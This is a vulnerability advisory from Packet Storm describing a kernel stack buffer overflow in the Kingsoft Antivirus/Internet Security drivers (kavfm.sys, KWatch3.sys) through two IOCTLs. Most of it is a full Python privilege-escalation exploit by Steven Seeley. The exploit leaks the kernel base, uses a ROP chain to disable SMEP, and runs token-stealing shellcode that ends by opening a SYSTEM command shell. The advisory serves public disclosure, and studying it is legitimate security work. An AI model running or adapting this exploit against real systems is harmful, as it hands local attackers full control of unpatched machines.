Kingsoft Antivirus / Internet Security 9+ Privilege Escalation

2018-01-04T00:00:00
ID PACKETSTORM:145638
Type packetstorm
Reporter mr_me
Modified 2018-01-04T00:00:00

Description

                                        
                                            `'''  
Vulnerability Summary  
The following advisory describes a kernel stack buffer overflow that leads to privilege escalation found in Kingsoft Antivirus/Internet Security 9+.  
  
Kingsoft Antivirus aprovides effective and efficient protection solution at no cost to users. It applies cloud security technology to monitor, scan and protect your systems without any worrying. The comprehensive defender and anti-virus tools prevent and protect your computer from unwanted virus, worms, and Trojans. With the simplest and easiest-to-use functions, users find themselves no difficulty to handle Kingsoft Antivirus.a  
  
Credit  
An independent security researcher, Steven Seeley, has reported this vulnerabilities to Beyond Securityas SecuriTeam Secure Disclosure program  
  
Vendor response  
We tried to contact Kingsoft since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerability.  
  
Vulnerability details  
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security.  
  
The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by either the kavfm.sys (anti-virus) or the KWatch3.sys (internet security) kernel driver.  
  
The driver doesnat properly validate user-supplied data which can result in a kernel stack buffer overflow.  
  
An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.  
  
; jumptable 000117C1 case 0  
.text:000117C8 loc_117C8: ; CODE XREF: sub_11790+31  
.text:000117C8   
.text:000117C8 push ebx ; our input buffer size  
.text:000117C9 lea ecx, [esp+58h+var_40] ; this is a fixed size stack buffer of 0x40  
.text:000117CD push edi ; our input buffer  
.text:000117CE push ecx ; char *  
.text:000117CF call strncpy ; stack buffer overflow  
.text:000117D4 add esp, 0Ch  
.text:000117D7 lea edx, [esp+54h+var_40]  
.text:000117DB push edx ; char *  
.text:000117DC mov [esp+ebx+58h+var_40], 0  
.text:000117E1 call sub_167B0  
.text:000117E6 pop edi  
.text:000117E7 mov esi, eax  
.text:000117E9 pop esi  
.text:000117EA pop ebp  
.text:000117EB pop ebx  
.text:000117EC add esp, 44h  
.text:000117EF retn 8  
'''  
  
import sys  
from ctypes import *  
from time import sleep  
from ctypes.wintypes import *  
import struct  
import os  
from random import choice  
  
kernel32 = windll.kernel32  
ntdll = windll.ntdll  
  
MEM_COMMIT = 0x00001000  
MEM_RESERVE = 0x00002000  
PAGE_EXECUTE_READWRITE = 0x00000040  
STATUS_SUCCESS = 0  
  
def get_ioctl():  
return choice([0x80030004, 0x80030008])  
  
def alloc_shellcode(base, input_size):  
"""   
allocates some shellcode  
"""  
print "(+) allocating shellcode @ 0x%x" % base  
baseadd = c_int(base)  
size = c_int(input_size)  
  
# --[ setup]  
input = struct.pack("<I", 0x000506f8) # bypass smep  
  
# --[ setup]  
input += "\x60" # pushad  
input += "\x64\xa1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]  
  
# I have to do it like this because windows is a little special  
# this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.  
input += "\x8d\x40\x70" # lea eax, [eax+0x70];  
input += "\x8b\x40\x10" # mov eax, [eax+0x10];  
input += "\x89\xc1" # mov ecx, eax (Current _EPROCESS structure)  
  
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc  
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8  
input += "\x8B\x98\xfc\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]  
  
# --[ copy system PID token]  
input += "\xba\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)  
input += "\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-|  
input += "\x2d\xb8\x00\x00\x00" # sub eax, FLINK_OFFSET |  
input += "\x39\x90\xb4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx |  
input += "\x75\xed" # jnz ->|  
  
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc  
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8  
input += "\x8b\x90\xfc\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]  
input += "\x89\x91\xfc\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx  
  
# --[ recover]  
input += "\x61" # popad  
input += "\x83\xc4\x0c" # adjust the stack by 0xc  
input += "\x31\xc0" # return NTSTATUS = STATUS_SUCCESS  
input += "\xc3" # ret  
  
# filler  
input += "\x43" * (input_size-len(input))  
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,   
POINTER(c_int), c_int, c_int]  
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,   
byref(size),   
MEM_RESERVE|MEM_COMMIT,  
PAGE_EXECUTE_READWRITE)  
if dwStatus != STATUS_SUCCESS:  
print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)  
return False  
written = c_ulong()  
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))  
if write == 0:  
print "(-) Error while writing our input buffer memory: %s" % write  
return False  
return True  
  
def alloc(base, input_size, ip):  
baseadd = c_int(base)  
size = c_int(input_size)  
input = "\x44" * 0x40 # offset to ip  
  
# start our rop chain  
input += struct.pack("<I", nt + 0x51976f) # pop ecx; ret  
input += struct.pack("<I", 0x75757575) # junk  
input += struct.pack("<I", 0x76767676) # junk  
input += struct.pack("<I", ip) # load 0x506f8  
input += struct.pack("<I", nt + 0x04664f) # mov eax, [ecx]; ret  
input += struct.pack("<I", nt + 0x22f2da) # mov cr4,eax; ret  
input += struct.pack("<I", ip + 0x4) # &shellcode  
  
# filler  
input += "\x43" * (input_size-len(input))  
  
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,   
POINTER(c_int), c_int, c_int]  
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,   
byref(size),   
MEM_RESERVE|MEM_COMMIT,  
PAGE_EXECUTE_READWRITE)  
if dwStatus != STATUS_SUCCESS:  
print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)  
sys.exit()  
written = c_ulong()  
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))  
if write == 0:  
print "(-) error while writing our input buffer memory: %s" % write  
sys.exit()  
  
def we_can_trigger_overflow():  
GENERIC_READ = 0x80000000  
GENERIC_WRITE = 0x40000000  
OPEN_EXISTING = 0x3  
IOCTL_VULN = get_ioctl()  
DEVICE_NAME = "\\\\.\\KWatch3"  
dwReturn = c_ulong()  
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)  
ip = 0x24242424  
  
inputbuffer = 0x41414141  
inputbuffer_size = 0x60  
outputbuffer_size = 0x1000  
outputbuffer = 0x20000000  
  
alloc(inputbuffer, inputbuffer_size, ip)  
alloc_shellcode(ip, 0x100)  
alloc(outputbuffer, 0x100, ip)  
  
IoStatusBlock = c_ulong()  
if driver_handle:  
print "(+) sending stack overflow..."  
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,  
None,  
None,  
None,  
byref(IoStatusBlock),  
IOCTL_VULN,  
inputbuffer,  
inputbuffer_size,  
outputbuffer,  
outputbuffer_size  
)  
return True  
return False  
  
def we_can_leak_the_base():  
"""  
Get kernel base address.  
This function uses psapi!EnumDeviceDrivers which is only callable  
from a non-restricted caller (medium integrity or higher). Also the  
assumption is made that the kernel is the first array element returned.  
"""  
global nt  
print "(+) enumerating kernel base address..."  
  
array = c_ulonglong * 1024  
lpImageBase = array()  
szDriver = array()  
cb = sizeof(lpImageBase)  
lpcbNeeded = c_long()  
  
res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase),  
sizeof(lpImageBase),  
byref(lpcbNeeded))  
if not res:  
print "(-) unable to get kernel base: " + FormatError()  
sys.exit(-1)  
  
# nt is the first one  
nt = lpImageBase[0] & 0x00000000ffffffff  
return True  
  
def main():  
print "\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"  
print "\t Steven Seeley (mr_me) of Source Incite\r\n"  
if we_can_leak_the_base():  
print "(+) found nt base at 0x%08x" % (nt)  
if we_can_trigger_overflow():  
os.system("cmd.exe")  
else:  
print "(-) it appears that kingsoft Internet Security is not installed!"  
if __name__ == '__main__':  
main()  
  
  
`